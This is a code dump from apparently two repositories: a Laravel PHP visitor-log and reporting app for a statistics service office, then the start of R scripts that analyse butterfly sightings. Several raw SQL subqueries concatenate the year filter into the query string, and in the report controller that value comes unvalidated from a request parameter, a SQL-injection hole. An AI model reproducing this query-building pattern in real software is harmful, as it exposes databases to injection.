JumlahKunjunganBulan($bulan,$tahun) { $count = \App\Kunjungan::whereYear('tanggal',$tahun)->whereMonth('tanggal',$bulan)->count(); return $count; } public static function JumlahTamuBulan($bulan,$tahun) { $sum = \App\Kunjungan::whereYear('tanggal',$tahun)->whereMonth('tanggal',$bulan)->sum('jumlah_tamu'); return $sum; } public static function JumlahKunjunganTahun($tahun) { $count = \App\Kunjungan::whereYear('tanggal',$tahun)->count(); return $count; } public static function JumlahTamuTahun($tahun) { $sum = \App\Kunjungan::whereYear('tanggal',$tahun)->sum('jumlah_tamu'); return $sum; } public static function GrafikTahunan($tahun) { /* $Data = \DB::table('bulan')-> leftJoin(\DB::Raw("(select month(tgl_brkt) as bln, count(*) as jumlah,format((sum(kuitansi.total_biaya)/1000000),2) as totalbiaya from transaksi left join kuitansi on kuitansi.trx_id=transaksi.trx_id where flag_trx > 3 and year(tgl_brkt)='".$tahun."' GROUP by bln) as trx"),'bulan.id_bulan','=','trx.bln')->select(\DB::Raw('nama_bulan as y, COALESCE(jumlah,0) as a,COALESCE(totalbiaya,0) as b'))->get()->toJson(); */ $data = \DB::table('bulan') ->leftJoin(\DB::Raw("(select month(tanggal) as bln_kntr, count(*) as jumlah_kntr, sum(jumlah_tamu) as tamu_kntr from kunjungan where year(tanggal)='".$tahun."' and is_pst='0' GROUP by bln_kntr) as kantor"),'bulan.id','=','kantor.bln_kntr') ->leftJoin(\DB::Raw("(select month(tanggal) as bln_pst, count(*) as jumlah_pst, sum(jumlah_tamu) as tamu_pst from kunjungan where year(tanggal)='".$tahun."' and is_pst='1' GROUP by bln_pst) as pst"),'bulan.id','=','pst.bln_pst') ->leftJoin(\DB::Raw("(select month(tanggal) as bln_total, count(*) as jumlah_total, sum(jumlah_tamu) as tamu_total from kunjungan where year(tanggal)='".$tahun."' GROUP by bln_total) as total"),'bulan.id','=','total.bln_total') ->select(\DB::Raw('nama_bulan as bulan_tahun, COALESCE(jumlah_total,0) as k_total,COALESCE(jumlah_kntr,0) as k_kantor,COALESCE(jumlah_pst,0) as k_pst'))->get()->toJson(); return $data; } public static function GrafikTahunanHc_Lama($tahun) { /* $Data = \DB::table('bulan')-> leftJoin(\DB::Raw("(select month(tgl_brkt) as bln, count(*) as jumlah,format((sum(kuitansi.total_biaya)/1000000),2) as totalbiaya from transaksi left join kuitansi on kuitansi.trx_id=transaksi.trx_id where flag_trx > 3 and year(tgl_brkt)='".$tahun."' GROUP by bln) as trx"),'bulan.id_bulan','=','trx.bln')->select(\DB::Raw('nama_bulan as y, COALESCE(jumlah,0) as a,COALESCE(totalbiaya,0) as b'))->get()->toJson(); */ $data_total = \DB::table('bulan') ->leftJoin(\DB::Raw("(select month(tanggal) as bln_total, count(*) as jumlah_total from kunjungan where year(tanggal)='".$tahun."' GROUP by bln_total) as total"),'bulan.id','=','total.bln_total') ->select(\DB::Raw('COALESCE(jumlah_total,0) as k_total'))->get(); $data_kantor = \DB::table('bulan') ->leftJoin(\DB::Raw("(select month(tanggal) as bln_kntr, count(*) as jumlah_kntr from kunjungan where year(tanggal)='".$tahun."' and is_pst='0' GROUP by bln_kntr) as kantor"),'bulan.id','=','kantor.bln_kntr') ->select(\DB::Raw('COALESCE(jumlah_kntr,0) as k_kantor'))->get(); $data_pst = \DB::table('bulan') ->leftJoin(\DB::Raw("(select month(tanggal) as bln_pst, count(*) as jumlah_pst from kunjungan where year(tanggal)='".$tahun."' and is_pst='1' GROUP by bln_pst) as pst"),'bulan.id','=','pst.bln_pst') ->select(\DB::Raw('COALESCE(jumlah_pst,0) as k_pst'))->get(); $data_bulan = \DB::table('bulan')->select(\DB::Raw('nama_bulan_pendek'))->get(); foreach ($data_total as $item) { $kun_total[] = $item->k_total; } foreach ($data_kantor as $item) { $kun_kantor[] = $item->k_kantor; } foreach ($data_pst as $item) { $kun_pst[] = $item->k_pst; } $data[] = array( 'name'=>'<NAME>', 'data'=>$kun_kantor, ); $data[] = array( 'name'=>'Kunjungan PST', 'data'=>$kun_pst, ); $data[] = array( 'name'=>'Total Kunjungan', 'data'=>$kun_total, ); //dd($data); $data = json_encode($data); foreach ($data_bulan as $item) { $data_bln[]=$item->nama_bulan_pendek; } $cat_tgl = json_encode($data_bln); $arr = array( 'data_final'=> $data, 'cat_final'=> $cat_tgl ); //dd($arr); return $arr; } public static function GrafikTahunanHc($tahun) { /* $Data = \DB::table('bulan')-> leftJoin(\DB::Raw("(select month(tgl_brkt) as bln, count(*) as jumlah,format((sum(kuitansi.total_biaya)/1000000),2) as totalbiaya from transaksi left join kuitansi on kuitansi.trx_id=transaksi.trx_id where flag_trx > 3 and year(tgl_brkt)='".$tahun."' GROUP by bln) as trx"),'bulan.id_bulan','=','trx.bln')->select(\DB::Raw('nama_bulan as y, COALESCE(jumlah,0) as a,COALESCE(totalbiaya,0) as b'))->get()->toJson(); */ $data_total = \DB::table('bulan') ->leftJoin(\DB::Raw("(select month(tanggal) as bln_total, count(*) as jumlah_total, sum(jumlah_tamu) as jumlah_tamu, sum(tamu_m) as tamu_laki, sum(tamu_f) as tamu_wanita from kunjungan where year(tanggal)='".$tahun."' GROUP by bln_total) as total"),'bulan.id','=','total.bln_total') ->select(\DB::Raw('COALESCE(jumlah_total,0) as k_total, COALESCE(jumlah_tamu,0) as jumlah_tamu, COALESCE(tamu_laki,0) as tamu_laki, COALESCE(tamu_wanita,0) as tamu_wanita'))->get(); $data_bulan = \DB::table('bulan')->select(\DB::Raw('nama_bulan_pendek'))->get(); foreach ($data_total as $item) { $kunjungan[] = $item->k_total; $jumlah_tamu[] = (int) $item->jumlah_tamu; $tamu_laki[] = (int) $item->tamu_laki; $tamu_wanita[] = (int) $item->tamu_wanita; } $data[] = array( 'name'=>'Kunjungan', 'data'=>$kunjungan, ); $data[] = array( 'name'=>'Jumlah Tamu', 'data'=>$jumlah_tamu, ); $data[] = array( 'name'=>'Tamu Laki-laki', 'data'=>$tamu_laki, ); $data[] = array( 'name'=>'Tamu Perempuan', 'data'=>$tamu_wanita, ); //dd($data); $data = json_encode($data); foreach ($data_bulan as $item) { $data_bln[]=$item->nama_bulan_pendek; } $cat_tgl = json_encode($data_bln); $arr = array( 'data_final'=> $data, 'cat_final'=> $cat_tgl ); //dd($arr); return $arr; } public static function GrafikBulanan($bulan,$tahun) { $tgl_cek = $tahun.'-'.$bulan.'-01'; $jumlah_hari = \Carbon\Carbon::parse($tgl_cek)->daysInMonth; $data = array(); for ($i=1;$i<=$jumlah_hari;$i++) { $tgl_i = $tahun.'-'.$bulan.'-'.$i; $item_kantor = \App\Kunjungan::where('tanggal',\Carbon\Carbon::parse($tgl_i)->format('Y-m-d'))->where('is_pst','0') ->select(\DB::Raw('tanggal, COALESCE(count(*),0) as k_kantor, COALESCE(sum(jumlah_tamu),0) as t_kantor'))->groupBy('tanggal')->first(); $item_pst = \App\Kunjungan::where('tanggal',\Carbon\Carbon::parse($tgl_i)->format('Y-m-d'))->where('is_pst','1') ->select(\DB::Raw('tanggal, COALESCE(count(*),0) as k_pst, COALESCE(sum(jumlah_tamu),0) as t_pst'))->groupBy('tanggal')->first(); $item = \App\Kunjungan::where('tanggal',\Carbon\Carbon::parse($tgl_i)->format('Y-m-d')) ->select(\DB::Raw('tanggal, COALESCE(count(*),0) as k_jumlah, COALESCE(sum(jumlah_tamu),0) as t_jumlah'))->groupBy('tanggal')->first(); if ($item) { if ($item_kantor) { $k_kantor = $item_kantor->k_kantor; } else { $k_kantor = null; } if ($item_pst) { $k_pst = $item_pst->k_pst; } else { $k_pst = null; } $data[] = array( 'tanggal'=>$i, 'k_total'=>$item->k_jumlah, 'k_kantor'=>$k_kantor, 'k_pst'=>$k_pst, ); } else { $data[] = array( 'tanggal'=>$i, 'k_total'=>null, 'k_kantor'=>null, 'k_pst'=>null, ); } } //dd($data); $data = json_encode($data); return $data; } public static function GrafikBulananHc_lama($bulan,$tahun) { $tgl_cek = $tahun.'-'.$bulan.'-01'; $jumlah_hari = \Carbon\Carbon::parse($tgl_cek)->daysInMonth; $kun_kantor = array(); $kun_pst = array(); $kun_total = array(); $cat_tgl = array(); for ($i=1;$i<=$jumlah_hari;$i++) { $tgl_i = $tahun.'-'.$bulan.'-'.$i; $item_kantor = \App\Kunjungan::where('tanggal',\Carbon\Carbon::parse($tgl_i)->format('Y-m-d'))->where('is_pst','0') ->select(\DB::Raw('tanggal, COALESCE(count(*),0) as k_kantor, COALESCE(sum(jumlah_tamu),0) as t_kantor'))->groupBy('tanggal')->first(); $item_pst = \App\Kunjungan::where('tanggal',\Carbon\Carbon::parse($tgl_i)->format('Y-m-d'))->where('is_pst','1') ->select(\DB::Raw('tanggal, COALESCE(count(*),0) as k_pst, COALESCE(sum(jumlah_tamu),0) as t_pst'))->groupBy('tanggal')->first(); $item = \App\Kunjungan::where('tanggal',\Carbon\Carbon::parse($tgl_i)->format('Y-m-d')) ->select(\DB::Raw('tanggal, COALESCE(count(*),0) as k_jumlah, COALESCE(sum(jumlah_tamu),0) as t_jumlah'))->groupBy('tanggal')->first(); if ($item) { if ($item_kantor) { $k_kantor = $item_kantor->k_kantor; } else { $k_kantor = 0; } if ($item_pst) { $k_pst = $item_pst->k_pst; } else { $k_pst = 0; } $kun_kantor[] = $k_kantor; $kun_pst[] = $k_pst; $kun_total[] = $item->k_jumlah; } else { $kun_kantor[] = 0; $kun_pst[] = 0; $kun_total[] = 0; } $cat_tgl[]=$i; } $data[] = array( 'name'=>'Kunjungan Kantor', 'data'=>$kun_kantor, ); $data[] = array( 'name'=>'Kunjungan PST', 'data'=>$kun_pst, ); $data[] = array( 'name'=>'Total Kunjungan', 'data'=>$kun_total, ); $data = json_encode($data); $cat_tgl = json_encode($cat_tgl); $arr = array( 'data_final'=>$data, 'cat_final'=>$cat_tgl ); dd($arr); return $arr; } public static function GrafikBulananHc($bulan,$tahun) { $tgl_cek = $tahun.'-'.$bulan.'-01'; $jumlah_hari = \Carbon\Carbon::parse($tgl_cek)->daysInMonth; $kunjungan = array(); $tamu_laki= array(); $tamu_wanita = array(); $jumlah_tamu = array(); $cat_tgl = array(); for ($i=1;$i<=$jumlah_hari;$i++) { $item=""; $tgl_i = $tahun.'-'.$bulan.'-'.$i; //if (\Carbon\Carbon::parse($tgl_i)->format('w') > 0 and \Carbon\Carbon::parse($tgl_i)->format('w') < 6) //{ $item = \App\Kunjungan::where('tanggal',\Carbon\Carbon::parse($tgl_i)->format('Y-m-d')) ->select(\DB::Raw('tanggal, COALESCE(count(*),0) as k_jumlah, COALESCE(sum(jumlah_tamu),0) as t_jumlah, COALESCE(sum(tamu_m),0) as tamu_laki, COALESCE(sum(tamu_f),0) as tamu_wanita'))->groupBy('tanggal')->first(); if ($item) { $kunjungan[] = (int) $item->k_jumlah; $jumlah_tamu[]= (int) $item->t_jumlah; $tamu_laki[] = (int) $item->tamu_laki; $tamu_wanita[] = (int) $item->tamu_wanita; } else { $kunjungan[] = 0; $tamu_laki[] = 0; $tamu_wanita[] = 0; $jumlah_tamu[]= 0; } $cat_tgl[]=$i; // } } $data[] = array( 'name'=>'Kunjungan', 'data'=>$kunjungan, ); $data[] = array( 'name'=>'<NAME>', 'data'=>$jumlah_tamu, ); $data[] = array( 'name'=>'<NAME>', 'data'=>$tamu_laki, ); $data[] = array( 'name'=>'<NAME>', 'data'=>$tamu_wanita, ); $data = json_encode($data); //dd($data); $cat_tgl = json_encode($cat_tgl); $arr = array( 'data_final'=>$data, 'cat_final'=>$cat_tgl ); //dd($arr); return $arr; } } <file_sep>/app/MasterSaluran.php <?php namespace App; use Illuminate\Database\Eloquent\Model; class MasterSaluran extends Model { // protected $table = 'msaluran'; protected $fillable = ["nama"]; public $timestamps = false; } <file_sep>/app/Http/Controllers/LaporanController.php <?php namespace App\Http\Controllers; use Illuminate\Http\Request; use App\Midentitas; use Illuminate\Support\Facades\Session; use Carbon\Carbon; use App\Mjk; use App\Mkatpekerjaan; use App\Mlayanan; use App\Mpendidikan; use App\MKunjungan; use App\Mwarga; use App\Mpekerjaan; use App\Mtamu; use App\Kunjungan; use App\Pstlayanan; use App\Pstmanfaat; use App\Mfasilitas; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\DB; class LaporanController extends Controller { // public function NewLaporan() { if (request('tahun')==NULL) { $tahun_filter=date('Y'); } elseif (request('tahun')==0) { $tahun_filter=date('Y'); } else { $tahun_filter = request('tahun'); } $data_bulan = array ( 1=>'Januari','Februari','Maret','April','Mei','Juni','Juli','Agustus','September','Oktober','November','Desember' ); $data_tahun = DB::table('kunjungan') ->selectRaw('year(tanggal) as tahun') ->groupBy('tahun') ->orderBy('tahun','asc') ->get(); $data_total = \DB::table('bulan') ->leftJoin(\DB::Raw("(select month(tanggal) as bln_total, count(*) as jumlah_total, sum(jumlah_tamu) as jumlah_tamu, sum(tamu_m) as tamu_laki, sum(tamu_f) as tamu_wanita from kunjungan where year(tanggal)='".$tahun_filter."' GROUP by bln_total) as total"),'bulan.id','=','total.bln_total') ->select(\DB::Raw('nama_bulan,COALESCE(jumlah_total,0) as k_total, COALESCE(jumlah_tamu,0) as jumlah_tamu, COALESCE(tamu_laki,0) as tamu_laki, COALESCE(tamu_wanita,0) as tamu_wanita'))->get(); $data_pst = \DB::table('bulan') ->leftJoin(\DB::Raw("(select month(tanggal) as bln_total, count(*) as jumlah_total, sum(jumlah_tamu) as jumlah_tamu, sum(tamu_m) as tamu_laki, sum(tamu_f) as tamu_wanita from kunjungan where is_pst='1' and year(tanggal)='".$tahun_filter."' GROUP by bln_total) as total"),'bulan.id','=','total.bln_total') ->select(\DB::Raw('nama_bulan,COALESCE(jumlah_total,0) as k_total, COALESCE(jumlah_tamu,0) as jumlah_tamu, COALESCE(tamu_laki,0) as tamu_laki, COALESCE(tamu_wanita,0) as tamu_wanita'))->get(); $data_kantor = \DB::table('bulan') ->leftJoin(\DB::Raw("(select month(tanggal) as bln_total, count(*) as jumlah_total, sum(jumlah_tamu) as jumlah_tamu, sum(tamu_m) as tamu_laki, sum(tamu_f) as tamu_wanita from kunjungan where is_pst='0' and year(tanggal)='".$tahun_filter."' GROUP by bln_total) as total"),'bulan.id','=','total.bln_total') ->select(\DB::Raw('nama_bulan,COALESCE(jumlah_total,0) as k_total, COALESCE(jumlah_tamu,0) as jumlah_tamu, COALESCE(tamu_laki,0) as tamu_laki, COALESCE(tamu_wanita,0) as tamu_wanita'))->get(); //dd($data_pst); return view('laporan.new',[ 'dataBulan'=>$data_bulan, 'dataTahun'=>$data_tahun, 'tahun'=>$tahun_filter, 'data_pst'=>$data_pst, 'data_kantor'=>$data_kantor, 'data_total'=>$data_total ]); } public function list() { /* select month(tanggal) as bulan, count(*) as total,laki.*, perempuan.* from kunjungan left join (select month(tanggal) as bulan_laki, count(*) as laki from kunjungan left join mtamu on mtamu.id=kunjungan.tamu_id where id_jk=1 and is_pst=0) as laki on laki.bulan_laki=month(tanggal) left join (select month(tanggal) as bulan_perempuan, count(*) as perempuan from kunjungan left join mtamu on mtamu.id=kunjungan.tamu_id where id_jk=2 and is_pst=0) as perempuan on perempuan.bulan_perempuan = month(tanggal) where is_pst=0 GROUP by bulan */ if (request('tahun')==NULL) { $tahun_filter=date('Y'); } elseif (request('tahun')==0) { $tahun_filter=date('Y'); } else { $tahun_filter = request('tahun'); } //$dataKunjungan = Kunjungan::get(); $data_bulan = array ( 1=>'Januari','Februari','Maret','April','Mei','Juni','Juli','Agustus','September','Oktober','November','Desember' ); $data_tahun = DB::table('kunjungan') ->selectRaw('year(tanggal) as tahun') ->groupBy('tahun') ->orderBy('tahun','asc') ->get(); //dd($data_tahun); $dataKunjungan = array(); for ($i=1; $i <=12 ; $i++) { $pst_laki = DB::table('kunjungan') ->leftJoin('mtamu','kunjungan.tamu_id','=','mtamu.id') ->selectRaw('year(tanggal) as tahun, month(tanggal) as bulan, id_jk, count(*) jumlah') ->where('is_pst','1') ->whereMonth('tanggal',$i) ->whereYear('tanggal',$tahun_filter) ->where('id_jk','1') ->groupBy('bulan','tahun','id_jk') ->first(); $pst_perempuan = DB::table('kunjungan') ->leftJoin('mtamu','kunjungan.tamu_id','=','mtamu.id') ->selectRaw('year(tanggal) as tahun, month(tanggal) as bulan, id_jk, count(*) jumlah') ->whereMonth('tanggal',$i) ->whereYear('tanggal',$tahun_filter) ->where('is_pst','1') ->where('id_jk','2') ->groupBy('bulan','tahun','id_jk') ->first(); $pst_total = DB::table('kunjungan') ->leftJoin('mtamu','kunjungan.tamu_id','=','mtamu.id') ->selectRaw('year(tanggal) as tahun, month(tanggal) as bulan, count(*) jumlah') ->whereMonth('tanggal',$i) ->whereYear('tanggal',$tahun_filter) ->where('is_pst','1') ->groupBy('bulan','tahun') ->first(); $kantor_laki = DB::table('kunjungan') ->leftJoin('mtamu','kunjungan.tamu_id','=','mtamu.id') ->selectRaw('year(tanggal) as tahun, month(tanggal) as bulan, id_jk, count(*) jumlah') ->whereMonth('tanggal',$i) ->whereYear('tanggal',$tahun_filter) ->where('is_pst','0') ->where('id_jk','1') ->groupBy('bulan','tahun','id_jk') ->first(); $kantor_perempuan = DB::table('kunjungan') ->leftJoin('mtamu','kunjungan.tamu_id','=','mtamu.id') ->selectRaw('year(tanggal) as tahun, month(tanggal) as bulan, id_jk, count(*) jumlah') ->whereMonth('tanggal',$i) ->whereYear('tanggal',$tahun_filter) ->where('is_pst','0') ->where('id_jk','2') ->groupBy('bulan','tahun','id_jk') ->first(); $kantor_total = DB::table('kunjungan') ->leftJoin('mtamu','kunjungan.tamu_id','=','mtamu.id') ->selectRaw('year(tanggal) as tahun, month(tanggal) as bulan, count(*) jumlah') ->whereMonth('tanggal',$i) ->whereYear('tanggal',$tahun_filter) ->where('is_pst','0') ->groupBy('bulan','tahun') ->first(); if ($pst_laki) { $jumlah_laki = $pst_laki->jumlah; } else { $jumlah_laki = 0; } if ($pst_perempuan) { $jumlah_perempuan = $pst_perempuan->jumlah; } else { $jumlah_perempuan = 0; } if ($pst_total) { $jumlah_pst_total = $pst_total->jumlah; } else { $jumlah_pst_total = 0; } if ($kantor_laki) { $jumlah_laki_kantor = $kantor_laki->jumlah; } else { $jumlah_laki_kantor = 0; } if ($kantor_perempuan) { $jumlah_perempuan_kantor = $kantor_perempuan->jumlah; } else { $jumlah_perempuan_kantor = 0; } if ($kantor_total) { $jumlah_total_kantor = $kantor_total->jumlah; } else { $jumlah_total_kantor = 0; } $dataKunjungan[$i] = array( 'bulan' => $data_bulan[$i], 'pst_laki' => $jumlah_laki, 'pst_perempuan'=> $jumlah_perempuan, 'pst_total'=> $jumlah_pst_total, 'kntr_laki' => $jumlah_laki_kantor, 'kntr_perempuan'=> $jumlah_perempuan_kantor, 'kntr_total'=> $jumlah_total_kantor ); } return view('laporan.index',['dataKunjungan'=>$dataKunjungan,'dataBulan'=>$data_bulan,'dataTahun'=>$data_tahun,'tahun'=>$tahun_filter]); } } <file_sep>/database/migrations/2022_11_22_081316_tambah_kolom_jenis_kelamin.php <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; class TambahKolomJenisKelamin extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('kunjungan', function (Blueprint $table) { // $table->tinyInteger('tamu_m')->default(0)->after('jumlah_tamu'); //tamu laki $table->tinyInteger('tamu_f')->default(0)->after('tamu_m'); //tamu wanita $table->tinyInteger('flag_edit_tamu')->default(0)->after('tamu_f'); //tamu wanita }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('kunjungan', function (Blueprint $table) { // }); } } <file_sep>/app/Pstmanfaat.php <?php namespace App; use Illuminate\Database\Eloquent\Model; class Pstmanfaat extends Model { // protected $table = 'pst_manfaat'; public function Kunjungan() { return $this->belongsTo('App\Kunjungan', 'kunjungan_id', 'id'); } } <file_sep>/database/migrations/2023_05_26_141000_tambah_kolom_nama_layanan_new.php <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; class TambahKolomNamaLayananNew extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('pst_layanan', function (Blueprint $table) { // $table->string('layanan_nama', 250)->change(); $table->string('layanan_nama_new',250)->nullable()->after('layanan_nama'); ; }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('pst_layanan', function (Blueprint $table) { // }); } } <file_sep>/database/migrations/2021_04_20_111446_feedback_tambah_gratifikasi.php <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; class FeedbackTambahGratifikasi extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('feedback', function (Blueprint $table) { // $table->tinyInteger('imbalan_nilai')->default(2)->after('feedback_nilai'); $table->tinyInteger('pungli_nilai')->default(2)->after('imbalan_nilai'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('feedback', function (Blueprint $table) { // }); } } <file_sep>/database/seeds/TabelTambahan.php <?php use Illuminate\Database\Seeder; class TabelTambahan extends Seeder { /** * Run the database seeds. * * @return void */ public function run() { // //Insert Manfaat Kunjungan DB::table('mmanfaat')->insert([ ['id' => 1, 'nama' => 'Tugas Sekolah/Tugas Kuliah', 'flag' => 1], ['id' => 2, 'nama' => 'Pemerintah', 'flag' => 1], ['id' => 3, 'nama' => 'Komersial', 'flag' => 1], ['id' => 4, 'nama' => 'Penelitian', 'flag' => 1], ['id' => 5, 'nama' => 'Lainnya', 'flag' => 1], ]); //Insert Fasilitas DB::table('mfas')->insert([ ['id' => 1, 'nama' => 'Datang langsung ke Unit Pelayanan Statistik Terpadu (PST)', 'flag' => 1], ['id' => 2, 'nama' => 'Aplikasi Pelayanan Statistik Terpadu Online (pst.bps.go.id)', 'flag' => 1], ['id' => 4, 'nama' => 'Website BPS (bps.go.id) / AllStats BPS', 'flag' => 1], ['id' => 8, 'nama' => ' Surat / Email', 'flag' => 1], ['id' => 16, 'nama' => 'Aplikasi chat (WhatsApp, Telegram, ChatUs, dll.)', 'flag' => 1], ['id' => 32, 'nama' => 'Lainnya', 'flag' => 1], ]); //Insert layanan DB::table('mlay')->insert([ ['id' => 1, 'nama' => 'Perpustakaan', 'flag' => 1], ['id' => 2, 'nama' => 'Pembelian Publikasi BPS', 'flag' => 1], ['id' => 4, 'nama' => 'Pembelian Data Mikro/Peta Wilayah Kerja Statistik', 'flag' => 1], ['id' => 8, 'nama' => 'Akses Produk Statistik Pada Website BPS', 'flag' => 1], ['id' => 16, 'nama' => 'Konsultasi Statistik', 'flag' => 1], ['id' => 32, 'nama' => 'Rekomendasi Kegiatan Statistik', 'flag' => 1], ]); //Insert Jenis Kunjungan DB::table('mjkunjungan')->insert([ ['id' => 1, 'nama' => 'Perorangan', 'flag' => 1], ['id' => 2, 'nama' => 'Kelompok', 'flag' => 1], ]); DB::table('bulan')->insert([ ['id' => 1, 'nama_bulan_pendek' => 'Jan', 'nama_bulan' => 'Januari'], ['id' => 2, 'nama_bulan_pendek' => 'Feb', 'nama_bulan' => 'Februari'], ['id' => 3, 'nama_bulan_pendek' => 'Mar', 'nama_bulan' => 'Maret'], ['id' => 4, 'nama_bulan_pendek' => 'Apr', 'nama_bulan' => 'April'], ['id' => 5, 'nama_bulan_pendek' => 'Mei', 'nama_bulan' => 'Mei'], ['id' => 6, 'nama_bulan_pendek' => 'Jun', 'nama_bulan' => 'Juni'], ['id' => 7, 'nama_bulan_pendek' => 'Jul', 'nama_bulan' => 'Juli'], ['id' => 8, 'nama_bulan_pendek' => 'Agu', 'nama_bulan' => 'Agustus'], ['id' => 9, 'nama_bulan_pendek' => 'Sep', 'nama_bulan' => 'September'], ['id' => 10, 'nama_bulan_pendek' => 'Okt', 'nama_bulan' => 'Oktober'], ['id' => 11, 'nama_bulan_pendek' => 'Nov', 'nama_bulan' => 'November'], ['id' => 12, 'nama_bulan_pendek' => 'Des', 'nama_bulan' => 'Desember'], ]); DB::table('mtujuan')->insert([ ['id'=>1,'kode' => 0, 'nama_pendek' => 'Kantor', 'nama' => 'Kantor'], ['id'=>2,'kode' => 1, 'nama_pendek' => 'PST', 'nama' => 'Pelayanan Statistik Terpadu'], ]); } }
09a1051905180f984fdf775590f7013b6912780c
[ "PHP" ]
22
PHP
blimika/bukutamu
d05d9c57975c4bd5ea28d18cc53ccafe55bf7802
8cb99fae5bfd3b205fea3d3a128116b304b55509
refs/heads/master
<repo_name>lhamon31/MFbutterflies<file_sep>/comparison_to_orange.R #script for comparing our mf sightings vs. those seen at the county level #asking a few questions #do we see things in different proportions vs. orange county as a whole? #which plants could be used to encourage diff. species? #load up data #hlg ncdat<-read.csv("C:/Users/lhamo/Documents/Biology/butterfly paper 2016/data/approximation_thru_2016.csv") #subset orange county data orangedat<-subset(ncdat, county=="Orange") #cleaned mf mfdat<-read.csv("C:/Users/lhamo/Documents/Biology/mf bflies 2017/qualtrics.data/qualtrics.with.ubr.cleaned.csv") #subset appropriate columns for orangedat orangedat<-orangedat[,c("species","number","year")] #change variable formatting of orangedat to match mfdat orangedat$species<-gsub(" ", ".", orangedat$species) #replaces space with "." orangedat<-data.frame(lapply(orangedat, function(v) { if (is.character(v)) return(tolower(v)) else return(v) })) #makes all characters lowercase #subset 2016 data for each orangedat<-subset(orangedat,year==2016) mfdat<-subset(mfdat,year==2016) #note repeated species due to misspellings in mfdat. I'm gonna reconcile this mfdat$species[mfdat$species == "ancyloxpha.numitor"] <- "ancyloxypha.numitor" mfdat$species[mfdat$species == "limenitis.artemis.astyanax"] <- "limenitis.arthemis.astyanax" #i'm also gonna remove that "unknown" and vague, unhelpful "papilio" mfdat<-mfdat[ which( ! mfdat$species %in% "unknown") , ] mfdat<-mfdat[ which( ! mfdat$species %in% "papilio") , ] #find total number of obs. for each spp for that year orangedat<-aggregate(number ~ species, data=orangedat, FUN=sum) mfdat<-aggregate(number ~ species, data=mfdat, FUN=sum) #combine orangedat and mfdat compare.dat<-merge(mfdat,orangedat,by="species") colnames(compare.dat)<-c("species","mf.num","oc.num") #generate proportions for each row #ideally get this to go for every spp for every year #oc #create an empty dataframe species=unique(orangedat$species) oc.output<-data.frame(species=character(), number=integer(), proportion=integer()) #generate for loop for (s in species) { oc.spp<-subset(orangedat,species==s) oc.others <- subset(orangedat,!species==s) proportion<-sum(oc.spp$number)/(sum(oc.spp$number)+sum(oc.others$number)) propoutput<-data.frame(species=s, number=sum(oc.spp$number), prop=proportion) oc.output = rbind(oc.output,propoutput) } #mf #create an empty dataframe species=unique(mfdat$species) mf.output<-data.frame(species=character(), number=integer(), proportion=integer()) #generate for loop for (s in species) { mf.spp<-subset(mfdat,species==s) mf.others <- subset(mfdat,!species==s) proportion<-sum(mf.spp$number)/(sum(mf.spp$number)+sum(mf.others$number)) propoutput<-data.frame(species=s, number=sum(mf.spp$number), prop=proportion) mf.output = rbind(mf.output,propoutput) } #combine orangedat and mfdat compare.dat<-merge(mf.output,oc.output,by="species") colnames(compare.dat)<-c("species","mf.num","mf.prop","oc.num","oc.prop") #makes a column for the diff. b/w proportions compare.dat$prop.difference<-(compare.dat$mf.prop-compare.dat$oc.prop) #and then compare how diff. the two are #comparison of 2 proportions. parametric? z.prop = function(x1,x2,n1,n2){ numerator = (x1/n1) - (x2/n2) p.common = (x1+x2) / (n1+n2) denominator = sqrt(p.common * (1-p.common) * (1/n1 + 1/n2)) z.prop.ris = numerator / denominator return(z.prop.ris) } compare.dat$z<-z.prop(compare.dat$mf.prop, compare.dat$oc.prop, compare.dat$mf.num, compare.dat$oc.num) #calculate p-values compare.dat$p<-2*pnorm(-abs(compare.dat$z)) #2-sided? #alternatively (this is what charlotte proposed) #create a for loop using this line: t.test(compare.dat$mf.prop, compare.dat$oc.prop, alternative=c("two.sided"), mu=0, paired=FALSE, var.equal=FALSE, conf.level=0.95) #create an empty dataframe species=unique(compare.dat$species) compare.output<-data.frame(species=character(), tscore=integer(), pvalue=integer()) #generate for loop for (s in species) { ttest<-t.test(compare.dat$mf.prop, compare.dat$oc.prop, alternative=c("two.sided"), mu=0, paired=FALSE, var.equal=FALSE, conf.level=0.95) sumtest<-summary(ttest) t<-sumtest$coefficients[3,1] p<-sumtest$coefficients[3,3] testoutput<-data.frame(species=s, tscore=t, pvalue=p) compare.output = rbind(compare.output, testoutput) } #write csv write.csv(compare.dat,file="C:/Users/lhamo/Documents/Biology/mf bflies 2017/compare.oc.mf.csv",row.names=FALSE) <file_sep>/MF butterfly script_final_KM.R ###MF Butterfly data manipulation### setwd("~/Research Summer 2016") alldat<-read.csv("Mason_Farm_Butterflies.csv") #this is laura's directory alldat<-read.csv("C:/Users/lhamo/Documents/Biology/mf bflies 2017/qualtrics.data/qualtrics.responses.5.16.2017.csv") alldat<-as.data.frame(alldat) library(plyr) #remove unecessary columns alldat$StartDate<-NULL alldat$EndDate<-NULL alldat$Status<-NULL alldat$IPAddress<-NULL alldat$Progress<-NULL alldat$Duration..in.seconds.<-NULL alldat$Finished<-NULL alldat$RecordedDate<-NULL alldat$ResponseId<-NULL alldat$RecipientLastName<-NULL alldat$RecipientFirstName<-NULL alldat$RecipientEmail<-NULL alldat$ExternalReference<-NULL alldat$LocationLatitude<-NULL alldat$LocationLongitude<-NULL alldat$DistributionChannel<-NULL alldat$Q33<-NULL alldat$Q35<-NULL alldat$Q32<-NULL #remove row 1 alldat<-alldat[-1,] ##rename columns names(alldat)<-c("Obsv.Name", "Date", "Temp", "Conditions", "Start", "End", "Papilio.glaucus", "Papilio.troilus", "Battus.philenor", "Papilio.polyxenes", "Eurytides.marcellus", "Phoebis.sennae", "Colias.philodice", "Colias.eurythme", "Abaeis.nicippe", "Pyrisita.lisa", "Unknown.sulphur", "Pieris.rapae", "Anthocharis.midea", 